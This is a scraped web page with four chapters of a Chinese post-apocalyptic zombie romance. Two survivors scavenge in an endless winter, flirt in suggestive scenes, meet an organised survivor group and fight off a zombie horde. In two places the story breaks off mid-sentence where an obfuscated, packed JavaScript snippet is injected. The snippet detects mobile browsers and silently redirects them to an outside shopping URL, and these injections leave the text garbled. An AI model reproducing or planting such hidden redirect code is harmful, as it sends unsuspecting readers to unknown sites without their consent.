《强占冷脸搭档后[GB]》 1. 又一年冬01 敞亮无云的碧蓝天穹之上,嵌着团灿金的光点。 这个理论上还能称作是太阳的东西,早已变得和高悬在天幕中用来装点般的灯泡无异。 勉强在模糊的记忆里推断,如今应该是初夏时节。 是的,这目及之处都覆盖着银白雪装的夏天。 江岁随意甩了甩短刀上的污血,几缕灰黑的腐肉黏连在刃口,随着她的动作来回甩动。 她脚下横躺着两具丧尸。 一具头颅几乎被劈成两半,切口整齐的截面里半露出枚沾着灰白脑浆的晶核。 另一具被她踏碎了头骨,整张脸凹陷下去,冰碴子混着腐血淌了一地。 江岁眉头微蹙,在尸体身上挑了块还算干净的位置,刀刃抵着来回擦拭。 咔哒—— 刺啦的摩擦声中闯入一道金属扣碰撞的脆响。 “烦。”她手上动作顿了顿,低声咕哝了句,没回头,只把刀擦得更用力些。 一下,又一下。 易逢整理好衣服,俯身捡起滚落的晶核,仔仔细细擦干净,收入背包。 被扰了兴致,江岁也就收了那点尚未完全酝酿出来的旖旎心思,恹恹朝着就近的商铺走去。 身后的脚步声便亦步亦趋。 江岁蹲在小商店过分杂乱的储物间门口,拨弄着眼前交叠成一堆、破烂得快要看不出原貌的东西。 她被常年的寒气裹得发木的指尖,实在摸不出那些稀巴烂的玩意儿到底是什么材质,索性就把看上去能烧的都一个劲往后扔。 这方不大的空间只响着她窸窸窣窣的翻找声和隐约从门外透进来的些许风声。 视线忽然瞥见角落里露出一角发黄发灰的厚实册子,江岁挪过去几步,捏着边角用力抽出来。 抖去表层粘着的不明物体,牛皮纸封面上显出一张熟悉喜庆的脸。 三星献瑞,万事如意。 是本老黄历。 随意翻开几页看看日期,2180年的。 那是末世开始的第一年。 眼下再怎么算日子,也该是2185年了。 咔哒——咔哒—— 江岁选了几张写着诸事不宜的日子撕下来,揉成一团,扔进易逢分类挑好的杂物堆里。 “打不着?”她眼看着打火机在他手里没冒出半分火苗,却还是被掰着按,没忍住问了句。 易逢这才停下动作,捏着打火机举起来冲她晃晃,平铺直叙,坦然说:“没油了。” 饶是那张脸上看不出半分情绪,江岁还是从他投过来的视线里品出些隐晦的委屈。 她想起来了。 临出发前易逢往背包里多塞了两个打火机,被她用玩火尿炕的胡扯鬼话薅出来扔了回去。 江岁丝毫不见愧疚,把手中的老黄历扔进他怀里,“多大点事。” 商店门口的柜台玻璃碎了满地,曾经兴许是装满烟的展台上只残余些干涸发黑的血痕。 她抬腿踢开被不知什么物体撞击得变形的柜门,弯腰从角落里摸出一把打火机,朝易逢抛过去,“接着。” 火苗窜起来,映得这片发昏的空间染上些暖色,狭窄的方寸之地也总算是有了点温度。 江岁把手凑过去,指尖被烤得发痒,像是有千万只细小的虫子在皮肤下翻来覆去地爬。 火舌舔着黄历纸,那几页写着诸事不宜的日子卷曲、焦黑,最后化作灰烬里分辨不出的一捧。 风从漏了一半的破玻璃门框灌进来,卷着那簇灰烬飘飘荡荡吹散开,落了几点在江岁的手背上。 她瞧着那黑白分明的点,莫名就想起头一次见易逢的时候。 他那时眼底的情绪还没这么多,干巴巴的只有掩不住的杀意和敌视,活像是非要分出个你死我活才肯罢休。 江岁当时想,这人要么是个疯子,要么就是脑子不好使。 毕竟正常人怎么可能会这么直白地盯着别人看? 后来她才明白易逢的确是脑子不好使,他的世界也就是黑白分明的两边,给他什么,他就记着什么。 就像刚才,他记得她出发前胡扯的那句鬼话,所以即便她把打火机扔了可能是错的,他也乖乖的不多问为什么。 只是到了用的时候,才用那种直勾勾的眼神看着她。 好像她欠了他什么似的。 江岁就着这点火光,多看了他两眼。 易逢坐在纸壳子垫出来的位置上,肩宽腿长的一大只,把漏风的门口挡了一半。 他身上那件沾了些灰的厚外套勒得紧,能看出底下掩着的那段腰线,窄的很。 也不知道这么高的个子,腰怎么能细成那样。 火苗蹿得高了点,易逢往后挪了挪,扎着的尾发顺着肩侧滑到背后,小小一颗痣就缀在厚实的下唇边,明晃晃的扎眼。 “你的手。” 易逢忽然开口,那枚痣连带着动了动,看得江岁想上手去抠。 她低头看见自己左手手腕上有一道不知什么时候划开的伤口,血已经凝住了,翻出圈暗红色的肉。 痛觉神经不灵敏的坏处就是这样。 这些无伤大雅的小伤挂着就像是彩头似的积攒着,等着在可能来临的危急关头给她下个绊子。 江岁“嗯”了声,没动。 易逢也没动。 “走吧。”江岁站起来,膝盖咔了一声,她面不改色跺了跺脚,率先转身朝后门走,“搜搜看还有没有能用的。” 小商店后门推开连接着这片沿街的住宅区,绕过去就能看到大敞的单元门洞。 里面的楼梯是铁架子焊的,踩上去吱呀作响,明显也是个年头大了的老小区。 易逢快走几步踏上去,长长一条稳当地缓步向上。 江岁跟在后面,琢磨着打量他背上的背包。 “带的东西还够吃几天?” “五天。” “那够了。”她顿了顿,“明天往南边走,碰碰运气。” 易逢没多问去碰哪门子运气,走到二楼平台的时候停下脚步,转过身把手伸给她。 楼梯最后几级的踏板断了一半,裂开的边缘还挂着脏污的碎布,显然是曾经有人在这里失足坠落过。 江岁看了一眼他伸过来的手,没搭,自己撑着栏杆跨了过去。 “你的手。”他又说了一遍。 江簌抬手看到那条伤口又开始渗血,顺着掌侧往下淌,应当是刚才猛地发力导致伤口裂开了。 “没事。”她随意甩甩手,血珠顺着指尖溅在灰白的墙面上,洇开几点殷红。 易逢面上还是那副看不出情绪的模样,但江岁却觉得他在皱眉。 江岁没在意,准备朝里走走,刚迈出一步,被他扣住手腕拉了回来。 干燥温热的指腹正抵在她的伤口上,她不疼,血倒是流得更快了。 “怎么了?” 她话刚问出口,就感觉到手腕处细密的痒。 伤口开始以肉眼可见的速度收口、结痂,新生的皮肤往中间蔓延,粉白的,像是条有生命的缝合线。 江岁盯着那块完好如初的皮肤,后知后觉有些遗憾。 痛觉对她来说更像是某种兴奋剂,算是难得的直白感官体验,每一次感受到她都会慢慢品味。 所以她原本是存着心思,想着等闲下来了抠着玩玩的。 早知道易逢会不打商量就用异能给她治疗,就该早点撕得更开些…… 走廊里比一楼的小商店还乱。 冻得发硬的衣物和乱七八糟的碎片散落一地,混杂着古怪的气味。 即便在这寒冬的天气嗅觉已经变得不太灵敏,仍旧能隐约分辨出淡淡的腐臭。 连廊的窗户全都不翼而飞,雪花从外面飘进来,堆砌在窗台上,经年累月便在墙边斜斜积出半人高的坡。 另外半边被一个硕大的柜子横堵着,挡得严严实实看不清后面的情况。 江岁绕过地面上冻成一滩的浑浊不明液体,就近挑了块已经摇摇欲坠的木板,直直一脚踹上去。 碎屑飞溅,柜子也就破开个大洞。 她刚弯腰从洞中钻过去,就注意到侧边躺着个人。 或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他把外套脱下来,规规矩矩折好,与背包一起放在走廊相对干净的墙边。 随后从背包侧袋摸出折叠刀,手腕一抖刀刃弹出来,朝楼道口走去。 “快去快回。”江岁催了句。 几秒后,她听到两声闷响。 很利落,间隔不超过三秒。 然后就是重物落地的声音,一前一后,咚、咚。 她没去看,目光落在背包上那件叠得整齐的外套。 领口已经磨得有些发白,穿了实在有些年头,落在他手里却要把袖子也规整得折进去。 楼下的动静停了。 江岁挪步往楼道口走了两步,正好撞见易逢回来。 楼道里光线暗,他从底下走上来,就像是从水墨画里洇出的一笔,浓淡分明。 他身上就剩件贴身的黑色薄衫,布料软塌塌贴着,恰到好处把这具身体包装得似是待拆的礼物。 薄衫领口微微敞着,锁骨平直地从两侧延伸出去,瘦削地贴在那片冷白的皮肤上。 胸口不是那种刻意练出来的死板僵硬的肌肉,是恰到好处带着几分柔软的饱满,撑着薄衫透出起伏的弧度,随着他上楼的动作微微颤动。 “解决了。” 易逢停在走廊边,把折叠刀收好,和两枚晶核一同塞回背包侧袋,弯腰去拿那件外套。 薄衫下摆被这动作带得扯起来一点,露出一段腰。 窄,紧实。 后腰中间那道浅浅的沟壑顺着脊线往下淌,没入裤腰。 江岁还没看够,他就直起了身,外套搭在小臂上,没着急穿。 他就这么立着任由她看,不躲也不问,那双黑沉沉的眼睛一眨不眨看着她,宛若在等待指令。 江岁笑了声,“过来。” 易逢乖乖走过来,在她面前站定,比她高出一截,影子罩下来能裹住她半个人。 他顺着她的视线往下,落在自己胸口,唇下那枚痣动了动。 “要睡我了吗?” 2. 又一年冬02 要睡我了吗? 江岁将这句话在心中重复一遍,抬眸看向他。 这话问得直白,语气却是平平淡淡的。 那张看惯了的没表情的脸也是一如既往,黑沉沉的一双眼直勾勾盯着她,等着回答。 江岁没应声,伸手捏住他薄衫的下摆,指尖勾着布料往上推了推。 易逢也就配合地往后微微仰身,露出掩在其中的那截腰,腹肌线条清晰地从肋下延伸到裤腰,薄薄一层冷白的皮肉覆着,看着很是让人心痒。 风从旁侧大敞的破栏杆往里灌,卷着细碎的雪花扑在脸上,寒意顺着脖颈往领口里钻。 “你倒是会挑时候。” 话是这么说的,但刚才被突如其来丧尸打断的兴致居然诡异地又涌了上来,在江岁心底细细密密挠着。 她松了手,转身往就近的房间走,踢开散落的杂物,停在门后风勉强吹不到的地方。 角落位置摆了张破旧的沙发,被冻得硬邦邦,她随手拍了拍表面,便敞着腿坐在上面,冲他勾勾手指:“过来。” 易逢没整理衣服,袒露着那段腰,得了话就乖顺跟着走,一步步挪过来,顺势蹲在她面前,膝盖抵着她的腿。 乖得很,家养犬似的。 江岁抬手,指腹顺着他的眉心往下,划过鼻梁,在鼻尖停了停,再往下落在唇上。 他的唇偏厚,上唇唇尖坠着颗唇珠,下唇则饱满地微微嘟着,投下的阴影甚至隐隐将那枚小痣藏在其中。 勾人。 指腹沿着他的唇形描了一遍,微凉的。 比正常人体温低些,是他用了异能的后遗症。 “张嘴。”江岁说。 易逢顺着她的力道抬起头,张开嘴露出整齐的牙齿与半截嫩色的舌尖。 江岁的指尖探进去,蹭过他的牙齿,再压着湿润的舌往里,抵着他的上颚不动了。 他被撑着齿关合不拢嘴,便滚着喉结吞咽着,半晌才轻缓地含住她的指尖,抬眸一眨不眨看着她。 真是听话得过分。 这副任她搓圆揉扁的模样看得江岁也跟着咽了咽,喉结滚动带着脖颈的皮肤发紧,那道横截的疤痕也就开始微微泛痒。 这道疤痕就是他们初见时,易逢送给她的见面礼。 近乎封喉的一斧,砍得江岁措手不及,殷红的血液便从脖颈迸发而出,在眼前溅出一片弧形的雨。 极少体验到的剧痛如电流般炸得她整个人身体僵直,耳畔嗡鸣作响,身体后仰着倒退几步,她的膝盖重重磕在地上,喉间止不住发出嗬嗬的怪响,组不出一句成调的话。 疼得头皮发麻,五脏六腑都在抽搐。 但那痛觉又在刹那间点燃了什么,奇异的兴奋顺着血管蔓延全身,将江岁末日以来积攒的疲惫、麻木、无聊,全部烧了个干干净净,几近燃烧生命般地唤醒了她短暂的清明。 这样的江岁近乎是战无不胜的,想要压制易逢这个强弩之末更是易如反掌,不过几个交手就掐着他的脖颈,将他反制在身下。 “你叫什么名字?”江岁的喉管有些漏风,发出的语调嘶哑古怪。 在那方狭窄的空间之中,她得到的只有回荡在耳畔嘶哑的气音与脉动的心跳。 于是当她真真切切听到易逢这个名字时。 从对方口中溢出来的一字一句,已经染上了充斥着抗拒意味的沙哑喘息。 “易逢……” 江岁抽出指尖,拉出一丝莹润的湿线,又抵在他唇上,将那点水色抹开。 她话刚说个开头,脑中忽然闷堵一般炸开阵阵晕眩,连带着呼吸都变得迟缓,视野里也泛出白花花的光圈。 身体在提醒她快要撑不住了。 她现在急需高阶晶核填补精神消耗,否则透支后造成的永久性损伤,即便是易逢的异能掏空也无力挽救。 但他们一路走过来,连个高阶丧尸的影都没见到。 江岁再次被打断兴致,烦躁地蹙眉,轻啧一声,摆了摆手,“拉上吧,这太脏了,影响心情。” “好吧……” 易逢穿衣服的动作明显变得缓慢。 他拉拉链时甚至还自以为不明显地在胸口位置顿了顿,等了半晌看江岁确实没什么动作后,才有些蔫巴地把拉链拉到顶,把自己重新裹得严严实实、一丝不漏。 这栋楼是个守了很久的临时据点,除却一些老弱病残的丧尸和面黄肌瘦的尸体,就是腐烂变质的食物残渣与破损的日常物品。 再度踹开一扇门仍旧一无所获后,江岁烦躁地从犄角旮旯里扯出条还算厚实的围巾。 它被压在残破得只剩下钢架的沙发角落,抖上几抖,碎冰碴子飞了满脸。 显然已经失去了保暖的作用。 易逢看着她将那块破布随手扔到一旁,默默捡起来,攥在手里咔吧咔吧揉了揉,拉开拉链贴身塞进怀里。 地上的雪冻得硬邦邦,旧冰叠新雪,上面一层蓬松发散,踩上去嘎吱作响。 两条脚印,一深一浅,沿着大敞的楼道口,往北边漫去了。 江岁瞥见他掩在外套下腰侧那圈凸起,难看的要命,“捂着干什么,带回去当传家宝?” “嗯。”易逢老老实实应了,“是你的。” 江岁被这话堵住,没再应声,把脸往领口又缩了缩。 沿路上一片寂静无声。 寒风裹挟着细碎的雪粒打在脸上,刮得生疼。 江岁眯着眼睛往前看去,灰白的天连着灰白的地,中间零星戳着几根同样灰白的电线杆子,歪歪斜斜的似是随时就要坍倒。 这种鬼日子,连电线杆子都活够了。 饶是这么想着,江岁反而勾出个笑。 对她来说,别人过的都不好,也不失为一件让人心情愉悦的事。 脖颈忽然被一团带着温热的软绒勒住,力道有些发重,连带着江岁身体仰了仰,后脑勺险些撞进易逢胸口。 指尖勾着围巾拉开段距离,喘了口气,她才扬声问了句:“想搞死我?” 易逢没说话,给她理好围巾。 江岁回头看过去,他胸前拉链还敞着,显然是刚把围巾拿出来不久。 被体温烘得发软的绒线环着脖颈,大大缓解了凛冽扑面的寒意,却隐约搔得她脖颈上那道疤痕略微发痒。 她把指腹贴上去,沿着边缘狠狠刮了几圈,才勉强舒服些。 江岁的鼻尖掩在围巾下,嗅到些浅淡的草木香气,大概是沾染上了易逢身上那股末世多年还挥散不去的药味。 北行的路比预想中更难走。 雪不知在什么时候下得 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“附近有据点。”易逢站在她身侧,望向那排脚印延伸的方向。 越往深处看,痕迹越密集,甚至出现了交错的车辙印。 “走。”江岁果断选择再绕远一些。 他们此行只是为了寻找物资,没必要迎面撞上未知的冲突。 然而她刚迈出两步,一阵尖锐的哨声骤然划破发昏的天色。 短促、刺耳,三声连响。 警戒哨。 江岁的瞳孔微微收缩,身体比大脑更快做出反应。 她一把扣住易逢的手腕,拽着他闪身躲进最近的一处废墟凹坑里。 哨声过后,四周重新归于寂静。 但这种寂静明显与方才不同。 有人在听、在等,在握着武器一寸寸扫视这片白色的荒原。 江岁的手搭在短刀刀柄上,指腹摩挲着缠绳一圈圈粗糙的纹路。 心跳、呼吸,还有那微不可查的踩雪声。 三点钟方向传来,大约五十米,步幅均匀,踩踏力度不重,是个体型中等的人,正在搜索就近区域。 紧接着,十一点方向也传来动静。 脚步声更轻,步频更快,像是在迂回包抄。 江岁偏头看了易逢一眼。 他的右手已经垂在身侧,指尖距离背包侧袋的折叠刀不过寸许。 那双黑沉沉的眼睛微微眯起,唯一的光点便是雪地映出的白。 江岁竖起三根手指。 三。 两道踩雪声,说明至少有两个人在靠近。 但既然有人能吹响哨声警戒,此处必然还有第三乃至第四个人还没有暴露位置。 她收回一根手指。 二。 敌众我寡,现在要做的只有等。 等对面的人先开口,等对方先暴露意图。 又收回一根。 一。 “出来。” 一个男人的声音从断墙外传来,沙哑粗粝,充斥着末世里常见的警觉与敌意。 “我看到你们了。” 3. 又一年冬03 江岁没动。 这种诈话她听得太多了。 要是真看见了,对方不会这么直白地出声,代替他们做出回应的只会是抵在她脖颈上的刀。 果然,几秒沉默后,那个声音又响了。 “再不出来就别怪我们不客气了。这片儿是我们的地盘,不请自来,总得给个说法。” 末世第五年,还有人拿地盘说事。 要么是刚拉起来的小团伙不知天高地厚,要么就是在试探他们的底细。 江岁冲易逢使了个眼色,自己缓缓站起身。 薄薄一层积雪从她肩头簌簌落下,短刀在掌心转了一圈,刀刃朝下,刀柄朝外。 是个算不得完全友好,但也绝对称不上挑衅的姿势。 “路过。”江岁的嗓音闷在围巾后,被飘摇的风雪模糊着听不出情绪,“雪太大了,走岔了路。没想打扰。” 她看清了说话的人。 是个三十来岁的男人,裹着件脏兮兮的迷彩棉服,手中端着一把自制的弩弓,箭尖在她站起的瞬间就已对准她的胸口。 他身后还站着一个人,瘦小些,手里攥着根铁管,管口被砸扁了磨出刃口。 两个人的眼神都绷得极紧,似是随时都可能扑上来的野犬。 迷彩男上下打量她几眼,目光落在她手中的短刀上停了停,又往她身后扫。 “还有一个呢?”他问,“别藏了,都出来。” 江岁没回头,指尖搭在刀柄上轻轻点了点。 易逢从那道墙体后面走出来,安安静静站在她身侧。 迷彩男显然没料到遇上的会是这么两个人。 一个看着瘦削的女人,面容稍显憔悴,另一个倒是长得高大,可身上连个像样的武器都没有,安安静静往那一站,像是株呆板的白杨。 “就你们两个?”迷彩男狐疑追问,弩箭握得更紧了。 “就两个。”江岁应声。 “从哪边来的?” “南边。” “南边哪儿?” 江岁没再接话。 她歪了歪头,围巾随着动作微微落下去些,露出脖颈上那道着实骇人的疤痕,眼睛弯出个弧度,像是笑了一下,“借个道而已,查户口呢?” 迷彩男被噎住。 他身后那个瘦小些的攥紧了铁管,忍不住往前迈了半步。 江岁心里也明白对方不可能就因为一两句解释的话就放下戒备心,心底不免隐隐滋生出几分烦躁。 两边诡异陷入沉默。 迷彩男盯着她看了几秒,喉结滚动几下,刚准备开口。 “行了,把家伙都放下。” 一个女人的声音从远处传来,沙哑的吊着调子。 两人松了口气似的,手中握着的东西往下沉了沉,侧开身给来人让出位置。 三十五六岁的年纪,短发,脸上有一道从左眉梢延伸到太阳穴的疤痕,将半张脸的皮肤都扯出稍显扭曲的纹路。 她穿着件发白的厚实军大衣,腰间别着把枪。 这枪是实打实的真家伙,不是惯常见到的那种粗制滥造的破烂。 身后还跟着个二十出头的男人,手里端着把猎枪,枪口对着地面,指尖却虚虚搭在扳机上。 江岁不动声色微微偏了偏身,确保自己能在异变突发的瞬间取出放在易逢背包里的折叠刀。 疤脸女人停在他们对面,视线直接落在江岁身上,上下扫了一遍,又移到易逢身上,停顿住了。 这目光明显区别于方才,更接近于评估的打量。 她看了易逢几眼,随后转向江岁:“南边来的,走了多久?” 江岁随口应声:“小半个月。” 疤脸女人又细细打量她半晌,主动朝她伸出一只手,“我是程蔓,这片我说了算。” 江岁没动,甚至没把刀收起来,就这么静静与她对视。 程蔓不甚在意笑了笑,自然收回手,让出半个身位,做了个请的手势,“夜里赶路总归不安全,我这人好客,尤其稀罕能在外头活到现在的人。” “进来坐坐?”她这么问。 这可不是邀请或者询问。 对面拿着家伙的时候就不算谈判,闹起来就算是谁赢了都讨不到好处。 从胸腔中弥漫而上的空虚与疲倦又在慢慢浸染江岁的身体,一阵阵的惹得她眼前的景物都融成一团死灰的白,分不出边缘。 吞咽下隐约在喉间溢出的点点血腥气,江岁面不改色将短刀往腰间一别,迈步往前走,“那就打扰了。” 绕过那排建筑,后面的景象便露了出来。 这是个半地下的停车场入口,斜坡上堆着沙袋和铁丝网,入口处生了火,铁桶里烧着不知道什么木头,烟气熏得人眼睛发涩。 里面空间不小,停了几辆改装过的越野和皮卡,车顶焊了铁架,绑着物资。靠墙搭了几顶帐篷和帆布棚子,地上铺着防潮垫和睡袋,零零散散坐着七八个人,都在忙自己手里的活。 见队长领了生人进来,所有人都停下动作,目光齐刷刷投过来。 江岁快速扫了一圈。 算上外面那三个,一共十二个人。 年龄从二十出头到四十来岁不等。 武器以冷兵器为主,只有两个人腰里别着枪——一把是警用的9/2/式,另一把看轮廓像是自制的土/铳。 物资码放整齐,有人专门负责看管,入口处有人轮值放哨。 连火堆旁边都坐着个半大小子,手里拿着根削尖的铁条,串着几块冻肉在烤。 不是临时聚集的乌合之众,是个正儿八经在运作的小团体。 程蔓找了个靠里的位置,贴近火堆,一走近就能驱散身上大多寒意。 她从旁边拽出几个纸箱子,压扁了垫在地上,示意他们坐。 “喝口水?”程蔓递过来个军用水壶,见江岁接了,才笑着继续说,“你还没告诉我名字。” 江岁不加掩饰地对着壶口嗅了嗅,确定是水且没有异味后才抿了一口,转递给易逢。 易逢接过去就仰头喝了口,喉结滚动着,水顺着唇角淌下来一点,滑过下巴。 江岁瞧见了,抬手抹过去,指腹带着那点水拂开,防止沾湿他的衣服惹得这个洁癖怪不快。 “江岁。”她尚且还在晕眩的状态中没能完全恢复,说话都显得恹恹。 程蔓拿着树枝戳了戳烧得正旺的火堆,若有所思看着他们,“南边什么情况?” “没什么特殊的,”江岁盯着跳动的火苗,“空的。” “空的?”程蔓蹙眉,“南边那些驻扎地都没了?” 被熏得有些燥热,江岁索性取下围巾塞进易逢怀里,“丧尸不少,活人没见几个。” 程蔓点点头,又问:“基地呢?你们去过了?” “没有。” “没去?”她有些意外,“那你们这五 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她说得很诚恳,甚至带着几分推心置腹的味道,“我看你们也不像是惹事的性子,不如留下来搭个伙。我们这虽然条件一般,但胜在人多,互相有个照应。” 江岁接过她递来的肉串,咬了口,柴得塞牙,慢慢嚼着,没说话。 程蔓又看向易逢:“你叫什么?” “易逢。”他这才开口。 “异能者?” 易逢没答,转向江岁。 程蔓顺着他的视线看过去,眼底闪过一丝了然。 “他听你的?”她问江岁。 “不算。”江岁把肉串的签子扔进火堆,“他就是话少。” “行。”程蔓也不深究,“你考虑考虑,不用急着答复。反正雪一时半会儿也停不了。” 她站起身,拍了拍裤子上的灰,冲那个烤肉的半大小子喊了句:“小伍,再拿两条毯子过来。” 等程蔓走远了,易逢才偏过头,低声问:“不走?” “等等。”江岁把玩着手里的空水壶,“看看再说。” 易逢没再问,安安静静坐在纸壳上,垂着眼,看不出在想什么。 江岁偏过头去看,火光映在他脸上,把那张冷白的脸照出几分暖色,睫毛在眼下投出一小片阴影,厚实的下唇微微抿着,那颗小痣便跟着火影来回晃。 周围的人不知何时都散开了,三三两两凑成堆站在个个通道口闲聊,煞有一副不偷听他们打商量的架势。 雪一时半会儿不会停? 不,是永远停不了。 一层层新的压着旧的,什么时候都不会是个头。 江岁看他发愣着出神,抬手轻轻点在那枚小痣上碾了碾,惹得他长睫颤了颤,黑幽幽的眸子转过来看着她。 “在想什么?” 易逢微微低下头,让她的指腹沿着他的动作滑到他的下唇上贴着,唇瓣张合之间,温热的呼吸浸湿了她的指尖。 “你没睡我。” 他像是在控诉这几次无疾而终的情事,即便还是冷这张脸,还是能从那一成不变的语调里品出满满的郁闷与委屈。 可惜江岁没在意他这份难得的情绪,只趁着他说话,将指尖探进去轻轻搅了搅,把人闹得舌尖都掉出点来搭在唇边,才慢悠悠收回手,一本正经甩了句: “乱发/情。” 4. 又一年冬04 把易逢又当傻子似的耍了会儿,见人实在是被逗得脑袋转不过圈来了,江岁才收了心思,站起身。 “我出去转转。” 她没走远,就在停车场内绕着慢悠悠踱步。 与她最初那一眼观察到的一般无二,的确是个分工明确的小队伍。 大多数人活到现在,早就被磨得没了人样。 要么变得像野兽一样嗜血,要么变成行尸走肉一般苟活。 能够维持住这种程度的组织性与纪律性,证明领头人是有两把刷子的。 而程蔓这样的人,不卑不亢、进退有度,毫不掩饰拉拢之意,话语之间却也不强求,还给足了他们体面。 现在这个世界,善良的人早就死绝了,留下的只能是比那些拎着刀上来就砍的疯子更难缠的人。 她半靠在一根残柱上正放空大脑胡乱想着,忽然听见身后传来沙沙的脚步声,鞋底拉在地上往前拖,难听得很。 回头一看,是方才打照面的那个瘦子。 “你就是那个领头的?”他两手空空,眼神里还是虚张声势的凶狠模样,“就你?” 江岁懒得理,继续往前走。 瘦子紧跟上来两步:“我提醒你一句。我们队长是看你那个男人的面子,才请你一起过来的。你个没异能的沾了光,别不识抬举。” 典型的红脸白脸激将法,江岁早就听得耳朵起茧子。 那沙沙的拖曳声仍旧古怪地响着。 江岁停下脚步,瘦子才追上来。 就凭着这几步,江岁发觉他有一条腿是跛的,脚踝还微微外翻着,走路用不上力气,只能半拖着走。 腿脚不方便的人,在末世和累赘有什么区别? 程蔓居然会留这样一个人在队伍里。 “老七。” 说什么来什么,估计是眼看着他们僵持,程蔓难免有些坐不住了。 她走过来,不咸不淡看了瘦子一眼,瞧不出什么明显的情绪,但瘦子明显怂了,拖着步子溜了。 “别介意。”程蔓笑着,“他嘴贱,人没什么坏心。” “看出来了。”江岁也没客气。 程蔓叹了口气,沉默几秒,又一次提起来:“你那个……朋友,是什么类型的异能者?” 江岁没遮掩,果断应声:“治愈。” 程蔓眼睛亮了一瞬,也不再藏着掖着,顿了片刻,斟酌措辞:“江岁,我得说句实话。” 饶是明知这实话自己定然不爱听,但江岁还是礼尚往来地示意她说下去。 “你们两个,能单打独斗到现在,确实厉害。可你们缺的东西太多了。”程蔓说着,指指四周,“你看看我们这,有物资有车有人手。你那个朋友的能力,在我们这能发挥更大的作用。你也是。” 她看着江岁的眼睛,语气格外诚恳:“我不是在逼迫你们,是在谈合作。你们加入,我们实力就更强,你们也不用再风餐露宿。双赢的事。” 江岁没着急应声,侧了半个身子朝着她斜后方望了望,正对上易逢那双盯着她太久盯到发木的眼。 瞧见她看过来,他立马挺直了背坐好,双膝并在一起,规规矩矩像个小学生。 “你打算在北边待多久?”江岁收回视线,问道。 程蔓没理解:“什么意思?” “你们到了北边基地之后呢?是留下,还是继续走?”江岁鲜有耐心地解释。 程蔓想了想:“看情况吧。那基地要是真有那些人说的那么好,就留下。要是货不对板,就继续走。” 江岁没再追问,“那等你们决定了再说。” 这也算是松口了。 程蔓脸上露出个真切的笑:“行,不着急。你们先休息,等雪小点儿了再决定也不迟。” 江岁在原地站了会儿,慢慢往回走。 易逢还是那副样子,眼巴巴瞧着她走近了,先是将纸壳子往自己身边拉了拉,才问:“怎么说的?” 江岁挨着他坐下,草草阐述一遍。 易逢听完了,只说:“你决定。” 树枝被她轻飘飘扔进火堆里,先是晃晃悠悠在桶边冒出个头随着火苗灼烧摆动着,再就是被卷着拽了进去,没在一片橘调中找不着影了。 “那行。”江岁站起身,拍了拍身上荡的灰,“先休息吧。” 入夜后,雪小了些。 满天的鹅毛大雪变成了细碎的雪点子,淅淅沥沥从顶上泄下来,在黑成一团的天幕里拉出一条条斜长的白线。 他们那个小灯泡用的电是拿车载电瓶改的,整合了个太阳能板,白天扔在外面,晚上拉回来。 昏黄的光把人影拉得老长,虚虚晃晃打在脸上,衬得一个个看着像是寿数将尽。 江岁靠在墙边闭目养神,双臂环抱,指尖始终搭在腰侧的刀柄上。 易逢就挨着她坐在旁边,睁着双眼神游似的发愣。 凌晨约莫两三点,外面哐当一声巨响,像是积雪压垮了哪里的铁皮,随后就是压不住的骚动。 脚步声、喊叫声、金属碰撞声混在一起,从停车场入口涌进来。 江岁早已睁开眼,刀柄转了个圈握在掌心,没抽出来。 那个瘦子跌跌撞撞冲进来,脸煞白一片:“队长!北边来了小丧尸群,少说三十来个!” 所有待命的人瞬间躁动起来。 程蔓掀开帐篷大步走出来,手中已然握着军刺,声音在混乱之中格外清晰:“老规矩,前排顶住,后排补上!别让它们冲进来!” 她正准备跟着队伍一齐出去,视线扫了一圈,落在江岁身上。 “帮个忙。” 这不是请求。 三十来个丧尸,说多不多,说少不少。 但对于这个参差不齐的小队伍来说,着实算个麻烦事。 江岁没答话,站起身往入口走。 步伐不急不缓,甚至有些懒散。 “易逢。” 易逢应声跟上。 入口的斜坡已经被堆叠的沙袋堵住了,三四个丧尸挤在缝隙里,张着嘴,手臂胡乱挥舞,喉咙里发出嗬嗬的喘气声。 后面一个挨一个,推搡着往前涌。 沙袋这边是程蔓安排的人顶着,但配合和分配都有很明显的问题。 前排的人力气不够,长兵器捅进去,拔出来太慢,后排的人又挤不上去,中间就好死不死留下个空挡。 简直不堪一击。 像是应和江岁的想法似的。 一只丧尸绕开了前排的攻势,从缝隙里叠着硬生生挤了进来,张嘴就往最近的人脖子上咬去。 刀刃破空。 短刀从侧面劈过来,正中丧尸的太阳穴。 江岁手腕一拧,往深了送进去半个手掌深,狠狠在颅腔内搅了一圈,听着刀刃与晶核细细的剐蹭声,再往上挑着拔出来。 刀刃上挂着的灰白脑浆与丧尸软塌塌的身体一同坠倒在地上。 “让开。”她说。 前排的人下意识往两边闪。 江岁走上去,短刀横在胸前,一脚踹开堆叠的沙袋,迎着丧尸群直直走了过去。 她的打法和程蔓她们完全不同。 不防守,只进攻。 劈、刺、削、挑,干净利落。 每一刀都是直奔要害。 第一只丧尸被她削飞了半边脑袋。 第二只被她一刀捅穿眼窝,刀尖从后脑勺戳出来。 第三只扑过来,她侧身避开,反身一刀砍在颈椎上,那颗腐烂破败的头颅便歪歪斜斜掉了下去,挂在被啃得只剩骨架的肩膀上。 三秒,三只。 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485832|201999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔓在背后看得眼发直。 易逢没得到指令让他跟着干,就亦步亦趋负责收尾。 他还是背着那个沉重的背包,踩着仍在抽搐的丧尸头颅,逐个发力踏碎。 两个人配合得天衣无缝,一前一后堵在障碍的破口处,将那群丧尸挡在清扫处的扇形区域之前。 不到五分钟,三十余只丧尸尽数倒下。 